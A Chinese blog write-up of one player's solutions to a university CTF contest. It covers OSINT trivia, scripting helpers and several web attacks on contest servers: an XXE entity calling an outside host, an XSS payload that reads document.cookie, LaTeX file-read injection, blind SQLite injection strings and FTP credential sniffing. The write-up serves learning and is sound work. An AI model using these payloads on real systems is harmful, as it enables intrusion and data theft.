退步了!
一方面是周末没带电脑回家的原因,另一方面是感觉自己逐渐懒惰了起来。
甚至连整理 writeup 都拖了一个星期
分数
当前分数:2850, 总排名:144 / 2747
binary:350 , general:1050 , math:250 , web:1200
签到
随便画几个数字然后提交,可以看到 url 中的 result
参数就是我们画出来的字符
题目要求画出 2022
,那么我们直接修改这个参数即可
http://202.38.93.111:12022/?result=2022
猫咪问答喵
经典的考验搜索能力的题目
Q1
中国科学技术大学 NEBULA 战队(USTC NEBULA)是于何时成立的喵
谷歌搜索 site:ustc.edu.cn NEBULA 成立
可以找到 https://cybersec.ustc.edu.cn/2022/0826/c23847a565848/page.htm (页面存档备份)
2017-03
Q2
2022 年 9 月,中国科学技术大学学生 Linux 用户协会(LUG @ USTC)在科大校内承办了软件自由日活动。除了专注于自由撸猫的主会场之外,还有一些和技术相关的分会场(如闪电演讲 Lightning Talk)。其中在第一个闪电演讲主题里,主讲人于 slides 中展示了一张在 GNOME Wayland 下使用 Wayland 后端会出现显示问题的 KDE 程序截图,请问这个 KDE 程序的名字是什么?
在 LUG @ USTC 官网的 Wiki (页面存档备份) 中
找到「特色活动」标题下的「自由活动日」链接,进去后能找到每次软件自由日的 PPT
找到题目中涉及的「GNOME Wayland 使用体验:一个普通用户的视角」对应的 PPT
https://ftp.lug.ustc.edu.cn/%E6%B4%BB%E5%8A%A8/2022.9.20_%E8%BD%AF%E4%BB%B6%E8%87%AA%E7%94%B1%E6%97%A5/slides/gnome-wayland-user-perspective.pdf (页面存档备份)
下载后,找到对应的 KDE 程序截图,这页 PPT 提及到了「特别是 KDE 程序会有比较严重的问题」
然后去谷歌搜索「kde video editor」就能知道这个程序是 Kdenlive
Kdenlive
Q3
22 年坚持,小 C 仍然使用着一台他从小用到大的 Windows 2000 计算机。那么,在不变更系统配置和程序代码的前提下,Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少?
谷歌搜索 firefox version
找到 Firefox 各个版本的列表 https://www.mozilla.org/en-US/firefox/releases/ (页面存档备份)
然后就是笨办法,二分法找哪些大版本支持,哪些大版本不支持
https://www.mozilla.org/en-US/firefox/12.0/system-requirements/ (页面存档备份) 支持
https://www.mozilla.org/en-US/firefox/13.0/system-requirements/ (页面存档备份) 不支持
12
Q4
你知道 PwnKit(CVE-2021-4034)喵?据可靠谣传,出题组的某位同学本来想出这样一道类似的题,但是发现 Linux 内核更新之后居然不再允许 argc 为 0 了喵!那么,请找出在 Linux 内核 master 分支(torvalds/linux.git)下,首个变动此行为的 commit 的 hash 吧喵!
将 Linux 的内核代码 torvalds/linux 全部 clone 到本地
(当然,你可以 clone 到服务器上,毕竟很大)
接下来就比较取巧了,git log
查看提交记录,然后 /
搜索 CVE-2021-4034
就找到了 dcd46d897adb70d63e025f175a00a89797d31a43
这个 Commit
https://github.com/torvalds/linux/commit/dcd46d897adb70d63e025f175a00a89797d31a43
可以看到这个 commit 在文件 fs/exec.c
的第 1935-1947 行中增加了判断 argc
长度的代码
dcd46d897adb70d63e025f175a00a89797d31a43
Q5
通过监视猫咪在键盘上看似乱踩的故意行为,不出所料发现其秘密连上了一个 ssh 服务器,终端显示
ED25519 key fingerprint is MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce.
,你知道猫咪在连接什么域名吗?
这题就需要借助互联网测绘工具了,尝试了 fofa 但是搜索效果不好,最后尝试 shodan 得到结果
sdf.org
Q6
中国科学技术大学可以出校访问国内国际网络从而允许云撸猫的“网络通”定价为 20 元一个月是从哪一天正式实行的?
在 https://ustcnet.ustc.edu.cn/11109/list.htm (页面存档备份) 能找到中科大网络中心的发文列表,看标题找到对应计费规则的文件即可
在 https://ustcnet.ustc.edu.cn/2003/0301/c11109a210890/page.htm (页面存档备份) 中能找到题目对应的计费规则
2003-03-01
家目录里的秘密
VS Code 里的 flag
这一问比较简单,直接解压后全目录搜索 flag{
字符即可
### Rclone 里的 flag
这一问直接告诉了目标是 rclone,看到有这么一个配置文件 .config/rclone/rclone.conf
[flag2]
type = ftp
host = ftp.example.com
user = user
pass = tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ
密码被通过某种方式加密过
众所周知,ftp 是明文协议,因此通过本地 /etc/hosts
给 ftp.example.com
指向一个存在 FTP 服务器的 IP 即可
一边通过 tcpdump port 21
抓包,一边通过 rclone ls flag2: --config .config/rclone/rclone.conf
触发 FTP 连接
从网络流量抓包中就能看到 flag
HeiLang
题目发明了一个新的语法,用 A[x | y | z] = t
来表示了之前复杂的 A[x] = t; A[y] = t; A[z] = t
解题核心就处理一下那个原生 Python 不能识别的逻辑即可
5a6
> b = """
1005a1007,1019
> """
>
> for i in b.split("\n"):
> i = i.strip()
> if i == "":
> continue
> number = int(i.split(" = ")[-1])
> left = i.index("[") + 1
> right = i.index("]")
> idx = i[left:right].split(" | ")
> for each in idx:
> a[int(each)] = number
>
通过这个 Patch 给题目打个补丁后执行即可拿到 flag
Xcaptcha
题目涉及到一个「Javascript 大数相加」的问题,可以参考以下链接
https://cloud.tencent.com/developer/article/1483443 (页面存档备份)
简单通过一个油猴脚本就能解决,保存后直接点击题目的验证码框框,就能自动算出来结果并提交
// ==UserScript==
// @name xcaptcha
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match http://202.38.93.111:10047/xcaptcha
// @icon https://www.google.com/s2/favicons?domain=93.111
// @grant none
// @require
// ==/UserScript==
(function() {
'use strict';
function bigNumAdd(num1, num2) {
const checkNum = num => typeof num === 'string' && !isNaN(Number(num))
if (checkNum(num1) && checkNum(num2)) {
const tmp1 = num1.split('').reverse()
const tmp2 = num2.split('').reverse()
const result = []
const format = val => {
if( typeof val === 'number') return val
if(!isNaN(Number(val))) return Number(val)
return 0
}
let temp = 0
for (let i = 0; i <= Math.max(tmp1.length, tmp2.length); i++) {
const addTmp = format(tmp1[i]) + format(tmp2[i]) + temp
result[i] = addTmp % 10
temp = addTmp > 9 ? 1 : 0;
}
result.reverse()
const resultNum = result[0] > 0
? result.join('')
: result.join('').slice(1)
console.log('result', resultNum);return resultNum
} else {
return 'big number type error'
}
}
const q1 = document.getElementsByTagName("label")[0].textContent.split(' ')[0].split('+')
const q2 = document.getElementsByTagName("label")[1].textContent.split(' ')[0].split('+')
const q3 = document.getElementsByTagName("label")[2].textContent.split(' ')[0].split('+')
document.getElementById("captcha1").value = bigNumAdd(q1[0], q1[1])
document.getElementById("captcha2").value = bigNumAdd(q2[0], q2[1])
document.getElementById("captcha3").value = bigNumAdd(q3[0], q3[1])
document.getElementsByTagName("button").submit.click()
})();
旅行照片 2.0
经典的社会工程学题目!
照片分析
exiftool travel-photo-2.jpg
ExifTool Version Number : 12.42
File Name : travel-photo-2.jpg
Directory : .
File Size : 1692 kB
File Modification Date/Time : 2022:10:22 14:17:21+08:00
File Access Date/Time : 2022:10:22 14:17:21+08:00
File Inode Change Date/Time : 2022:10:22 14:17:21+08:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Little-endian (Intel, II)
Make : Xiaomi
Camera Model Name : sm6115 (juice)
Orientation : Horizontal (normal)
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Software : HDR+ 1.0.345618096zdy
Modify Date : 2022:05:14 18:23:35
Y Cb Cr Positioning : Centered
Exposure Time : 1/1264
F Number : 1.8
Exposure Program : Program AE
ISO : 84
Exif Version : 0231
Date/Time Original : 2022:05:14 18:23:35
Create Date : 2022:05:14 18:23:35
Offset Time : +09:00
Offset Time Original : +09:00
Offset Time Digitized : +09:00
Components Configuration : Y, Cb, Cr, -
Shutter Speed Value : 1/1261
Aperture Value : 1.8
Brightness Value : 7.24
Exposure Compensation : 0
Max Aperture Value : 1.8
Subject Distance : 200 m
Metering Mode : Center-weighted average
Flash : Off, Did not fire
Focal Length : 4.7 mm
Sub Sec Time : 220027
Sub Sec Time Original : 220027
Sub Sec Time Digitized : 220027
Flashpix Version : 0100
Color Space : sRGB
Exif Image Width : 3840
Exif Image Height : 2160
Interoperability Index : R98 - DCF basic file (sRGB)
Interoperability Version : 0100
Sensing Method : One-chip color area
Scene Type : Directly photographed
Custom Rendered : Custom
Exposure Mode : Auto
White Balance : Auto
Digital Zoom Ratio : 0
Focal Length In 35mm Format : 41 mm
Scene Capture Type : Standard
Contrast : Normal
Saturation : Normal
Sharpness : Normal
Subject Distance Range : Distant
XMP Toolkit : Adobe XMP Core 5.1.0-jc003
Has Extended XMP : 721DF3D7213475573BB1CD0418824CC8
JFIF Version : 1.02
Profile CMM Type :
Profile Version : 4.0.0
Profile Class : Display Device Profile
Color Space Data : RGB
Profile Connection Space : XYZ
Profile Date Time : 2016:12:08 09:38:28
Profile File Signature : acsp
Primary Platform : Unknown ()
CMM Flags : Not Embedded, Independent
Device Manufacturer : Google
Device Model :
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Perceptual
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator : Google
Profile ID : 75e1a6b13c34376310c8ab660632a28a
Profile Description : sRGB IEC61966-2.1
Profile Copyright : Copyright (c) 2016 Google Inc.
Media White Point : 0.95045 1 1.08905
Media Black Point : 0 0 0
Red Matrix Column : 0.43604 0.22249 0.01392
Green Matrix Column : 0.38512 0.7169 0.09706
Blue Matrix Column : 0.14305 0.06061 0.71391
Red Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
Chromatic Adaptation : 1.04788 0.02292 -0.05019 0.02959 0.99048 -0.01704 -0.00922 0.01508 0.75168
Blue Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
Image Width : 2160
Image Height : 3840
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
HDRP Maker Note : (Binary data 21010 bytes, use -b option to extract)
Aperture : 1.8
Image Size : 2160x3840
Megapixels : 8.3
Scale Factor To 35 mm Equivalent: 8.7
Shutter Speed : 1/1264
Create Date : 2022:05:14 18:23:35.220027+09:00
Date/Time Original : 2022:05:14 18:23:35.220027+09:00
Modify Date : 2022:05:14 18:23:35.220027+09:00
Circle Of Confusion : 0.003 mm
Depth Of Field : inf (3.53 m - inf)
Field Of View : 47.4 deg
Focal Length : 4.7 mm (35 mm equivalent: 41.0 mm)
Hyperfocal Distance : 3.59 m
Light Value : 12.2
通过上面这个 Exif 信息已经能得到许多信息
有一个坑点就是第一问的 Exif 版本,几个不同的程序跑出来都是 0231
,纠结了好久,最后参考了题目的格式样例写成 2.31
就对了
https://vip2.loli.io/2022/11/06/tCUsqwGhPvozVMA.jpg
社工入门
题目里目标的 Logo 大体上还是比较明显的,在谷歌上搜索相关关键词就能找到
这是 千葉海洋球場(ZOZO海洋球場)
https://zh.wikipedia.org/zh/%E5%8D%83%E8%91%89%E6%B5%B7%E6%B4%8B%E7%90%83%E5%A0%B4
邮政编码
邮编是个坑,日本隔条街邮编都能不同
第一问问的是酒店的邮编,根据谷歌地图猜测大概是 Hotel New Otani Makuhari
或者 APA HOTEL& RESORT TOKYO BAY MAKUHARI
两家酒店的邮编都是 〒261-0021
手机分辨率
上面通过 Exif 信息已经知道了手机是 小米 或者 红米
通过 红米 (科技品牌) - 维基百科,自由的百科全书 (页面存档备份)
结合 Exif 信息中的芯片型号 sm6115
能找到对应两款手机
一款是「Redmi Note 9 标准版(4G)」,屏幕是 2340*1080
另一款是「Redmi Note 9 4G」,屏幕是 2340*1080
所以答案是 2340x1080
航班
通过上面的题目已经知道了两个非常重要的要素,时间和地点
接下来通过 flightradar24 的钞能力即可找到对应的航班
https://www.flightradar24.com/2022-05-14⁄09:26/12x/ANA683/2bda404e
简单整理一下,这题的答案就出来了
猜数字(没做出来,但是也想聊一聊)
这一题没做出来,主要是不知道 Double.parseDouble
还能 parse 一个 NaN
不过类型混淆是 CTF 一个常见的知识点,这个地方被我忽略了
在做题的时候,能想到几个不同的攻击点,但是题目都很好的做了对应的处理,有效解决了潜在的非预期解的问题
下面就是一些 What If
的想法
XXE 带外
把题目丢进 IDEA 的那一瞬间,安全插件就已经扫出来第 54 行的 XML_INPUTS = XMLInputFactory.newFactory();
存在 XXE 漏洞
通过第 111 - 112 行可以知道 Flag 的组成在环境变量里,尝试通过读取 /proc/self/environ
取得当前进程的环境变量
XXE 的执行没有回显,另外根据第 275 - 276 行可以知道 XML 解析错误也被屏蔽掉了
而 OOB 带外在 Java 中并没有什么有效的措施来绕过(因为这个文件里面有换行以及奇怪的字符,普通只有一行的文件倒是可以正常带外出来的)
XXE 异步猜数字
然后想到了一种基于 Rate Condition 的处理方式,在第一次猜数字的时候发送以下代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://ppng.io/magic-number"> ]>
<state><guess>&xxe;</guess></state>
ppng.io 是一个 pipe 管道服务,我计划是将进程挂在这里,然后去猜数字,拿到结果后再通过这个管道下发对应的数字
理论上是可行的,但是 290 行的 replaced = STATES.replace(token, oldState, newState);
阻挡了我的想法
他不仅仅是普通的 replace
,甚至还验证了 oldState
,因此即便我们触发了这里的逻辑,给 newState
赋值上了成功的参数,也无法成功替换掉 STATE
如果他这一行使用的是 replaced = STATES.replace(token, newState);
那么这个方法就是可行的
参数堆叠
因为 170 行这里是一个循环,因此假如我在一个请求里猜了很多个数字,不就可以实现通过一个请求猜到对应的数字了
换句话说就是提交类似下面的请求
<state><guess>000000</guess><guess>000001</guess><guess>000002</guess><guess>...</guess></state>
仔细看了代码,这个路子也是行不通的
解析判断了一个数字之后在 199 行会给 result
赋值,而新的一次执行在 184 行会判断这个 result
是否有值,如果有则丢出异常
如果没有 184 行这个路子估计也可以,不过也是一个概率的问题,可以提高概率,发的包越长(猜的数字越多)成功率越高
LaTeX 机器人
纯文本
在网上冲浪的时候找到了这篇文章,Hacking with LaTeX | Sebastian Neef - 0day.work (页面存档备份)
里面提到了可以通过下列命令来读一个文件
\input{/flag1}
特殊字符混入
这一问参考了 PayloadsAllTheThings/LaTeX Injection at b8387bc3a59c1f19c7d2e0df9bcf78ac11bd2f32 · swisskyrepo/PayloadsAllTheThings 里面提到的方法
大概的逻辑不会,就是多了将特殊符号进行了一个替换
$$\catcode `\$=12 \catcode `\#=12 \catcode `\_=12 \catcode `\&=12 \input{/flag2}$$
Flag 的痕迹
题目使用的是 DokuWiki 搭建的,也给出了具体的版本,可以本地部署一份结合源代码进行分析
在 doku.php
文件的第 43 - 48 行中给出了一些方法
$REV = $INPUT->int('rev');
$DATE_AT = $INPUT->str('at');
$IDX = $INPUT->str('idx');
$DATE = $INPUT->int('date');
$RANGE = $INPUT->str('range');
$HIGH = $INPUT->param('s');
直接访问 http://202.38.93.111:15004/doku.php?id=start&at=20220101 (页面存档备份) 即请求 2022 年 1 月 1 日的这个页面,而这个页面在这个时候并未生成,因此系统提示了该文件的创建时间
得到该文档创建的时间戳 http://202.38.93.111:15004/doku.php?id=start&rev=1665224447 (页面存档备份)
然后往后爆破疯狂 +1
得到带有 Flag 的文档 http://202.38.93.111:15004/doku.php?id=start&rev=1665224461 (页面存档备份)
解题完成
安全的在线测评
任意两个质数相乘的大数分解确实现阶段没办法实现,能实现的话 RSA 见一个破一个,因此这题并不能通过强算来实现
无法 AC 的题目
查看构建的代码
p = subprocess.run(
["gcc", "-w", "-O2", SRC, "-o", BIN],
stdout=sys.stdout,
stdin=subprocess.DEVNULL,
stderr=subprocess.STDOUT
)
编译错误是直接输出到 STDOUT 的,也就是对我们可见
#include "../data/static.in"
In file included from ./temp/code.c:1:
./temp/../data/static.in:1:1: error: expected identifier or ‘(’ before numeric constant
1 | 104282807526880757859994094527870976371690207188144127579265020967770373595617196482192658438848054135186773270989449104391708599334910550847893180291830360838640917202574211707345622191305096245583475971670346651912348257881253972478996837370880919979672426413406738598158938877541450113490168164315226299849
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#include "../data/static.out"
In file included from ./temp/code.c:1:
./temp/../data/static.out:1:1: error: expected identifier or ‘(’ before numeric constant
1 | 9760010330994056474520934906037798583967354072331648925679551350152225627627480095828056866209615240305792136810717998501360021210258189625550663046239919
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
直接 #include
这个文件,在报错信息中可以得到静态数据的乘积以及其中的一个乘数
直接丢 factordb.com 去算结果
然后写个程序直接输出这两个数即可
#include <stdio.h>
int main() {
printf("9760010330994056474520934906037798583967354072331648925679551350152225627627480095828056866209615240305792136810717998501360021210258189625550663046239919\n");
printf("10684702576155937335553595920566407462823007338655463309766538118799757703957743543601066745298528907374149501878689338178500355437330403123549617205342471\n");
return 0;
}
动态数据
知道 incbin 就能做出来,不知道 incbin 的我就做不出来
Flag 自动机
挺简单的一道题目,将程序丢进 IDA 进行分析
sub_401510
函数里面如果传入的参数满足一定的条件就会在同一目录下写 flag
通过第 9 行可以看出来这是在处理一个消息(也可以通过传入的那四个参数名来判断)
使用一个简单的 Python 程序给这个程序发一个消息即可
import win32ui
import win32gui
hwnd = win32gui.FindWindow(None, 'flag 自动机')
win = win32ui.CreateWindowFromHandle(hwnd)
win.SendMessage(0x111, 3, 114514)
微积分计算小练习
一个比较简单的 XSS 利用
<img src=x onerror=document.querySelector('#greeting').textContent=document.cookie>:1
http://202.38.93.111:10056/share?result=PGltZyBzcmM9eCBvbmVycm9yPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJyNncmVldGluZycpLnRleHRDb250ZW50PWRvY3VtZW50LmNvb2tpZT46MQ==
数据并不需要带外出来,因为 Bot 会帮我们提取网页中的一部分出来,所以只需要将 flag 写到这个地方即可
杯窗鹅影
flag1
直接读取 /flag1
就能读取出来
#include <stdio.h>
#include <stdlib.h>
int main()
{
FILE *fptr;
char c;
char *filename = "/flag1";
fptr = fopen(filename, "r");
if (fptr == NULL)
{
printf("Cannot open file \n");
exit(0);
}
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
fclose(fptr);
return 0;
}
你先别急
急急国王表示很急,先通过 Burpsuite 将拖慢速度的地方给 Patch 掉,修改 Response Body
- 将
1100
替换为0
- 将
<select class="form-control" id="name" name="name">
替换为<input type="text" class="form-control" id="name" name="name" required>
- 将
$("#name").change
替换为$("#name").keyup
- 将
select.disabled = true;
替换为select.disabled = false;
后端数据库目测为 Sqlite,手动注入观察字母和数字的个数即可
猜测后端逻辑是 SELECT level FROM users WHERE name = 'Simple-1'
如果 level 是 1 则全数字,level 是 3 则有两个字母,如此类推
Simple-1
'%20or%201%3d1%20limit%201%20--%20-%2b
全数字 存在注入点
Simple-111' union select count(0) from flag--
全数字 存在 flag 表
Simple-111' union select LENGTH(flag)-18 from flag--
验证码中只有一位字母,计算结果等于 2,即 flag 的长度为 20
Simple-111' union select count(0) from flag where flag like 'flag{w%'--
慢慢跑出来结果
Simple-111' union select count(0) from flag where flag like 'flag{jiji61d14de88e}'--
因为是 Sqlite 数据库,like 语法是不区分大小写的,20 个字符反正就是 jiji61d14de88e
Simple-1' and (SELECT hex(substr(flag,6,1)) FROM flag) = hex('J')--
Simple-1' and (SELECT hex(substr(flag,7,1)) FROM flag) = hex('i')--
Simple-1' and (SELECT hex(substr(flag,8,1)) FROM flag) = hex('J')--
Simple-1' and (SELECT hex(substr(flag,9,1)) FROM flag) = hex('i')--
Simple-1' and (SELECT hex(substr(flag,12,1)) FROM flag) = hex('d')--
Simple-1' and (SELECT hex(substr(flag,15,1)) FROM flag) = hex('d')--
Simple-1' and (SELECT hex(substr(flag,16,1)) FROM flag) = hex('e')--
Simple-1' and (SELECT hex(substr(flag,19,1)) FROM flag) = hex('e')--
逐位猜大小写,最后得到 flag
flag{JiJi61d14de88e}
企鹅拼盘
这么简单我闭眼都可以!
2**4=16
总共 16 种可能,逐一数字手动爆破即可
输入到 1000 时成功拿到 Flag
大力当然出奇迹啦~
修改一下脚本,直接遍历,毕竟最多也才 65535 个组合
120a120,124
> def cal(self):
> if self.info['scrambled'] and self.info['pc'] == self.info['lb'] and len(self.info['inbits']) > 0 and self.info['ib'] < 0:
> return True
> return False
>
125c129
< return Panel("Success! Press q to get flag.", title="Info", border_style="green")
---
> return Panel(f"{self.info['inbits']} Success! Press q to get flag.", title="Info", border_style="green")
175,195c179,193
< if self.pc >= len(self.branches):
< return
<
< move = self.branches[self.pc][1] if self.inbits[self.branches[self.pc]
< [0]] else self.branches[self.pc][2]
< for mi in range(len(move)):
< self.board.move(move[mi])
< for i in range(16):
< if self.blocks[i].i != self.board.b[i//4][i % 4]:
< self.blocks[i].set_i(self.board.b[i//4][i % 4])
< self.info.set_info({'bT': self.branches[self.pc][1] if self.pc < len(self.branches) else '',
< 'bF': self.branches[self.pc][2] if self.pc < len(self.branches) else '',
< 'inbits': self.inbits,
< 'ib': self.branches[self.pc][0] if self.pc < len(self.branches) else -1,
< 'scrambled': bool(self.board),
< 'pc': self.pc,
< 'lb': len(self.branches),
< 'hl': mi})
<
< await asyncio.sleep(0.1)
< self.pc += 1
---
> for i in range(2**self.bitlength):
> print(i)
> try:
> t = bin(i).split('b')[-1].zfill(self.bitlength)
> inbits = list(map(int, t))
> for x in inbits:
> assert x == 0 or x == 1
> assert len(inbits) == self.bitlength
> self.inbits = inbits
> self.watch_pc(len(self.branches))
> if self.info.cal():
> print(f"{t} win")
> return
> except:
> pass
301a300
>
使用了这个 Patch 之后,选择相应的关卡,然后按 A
触发计算逻辑
直接跑出来结果是 0010111110000110
然后就可以去拿 flag 了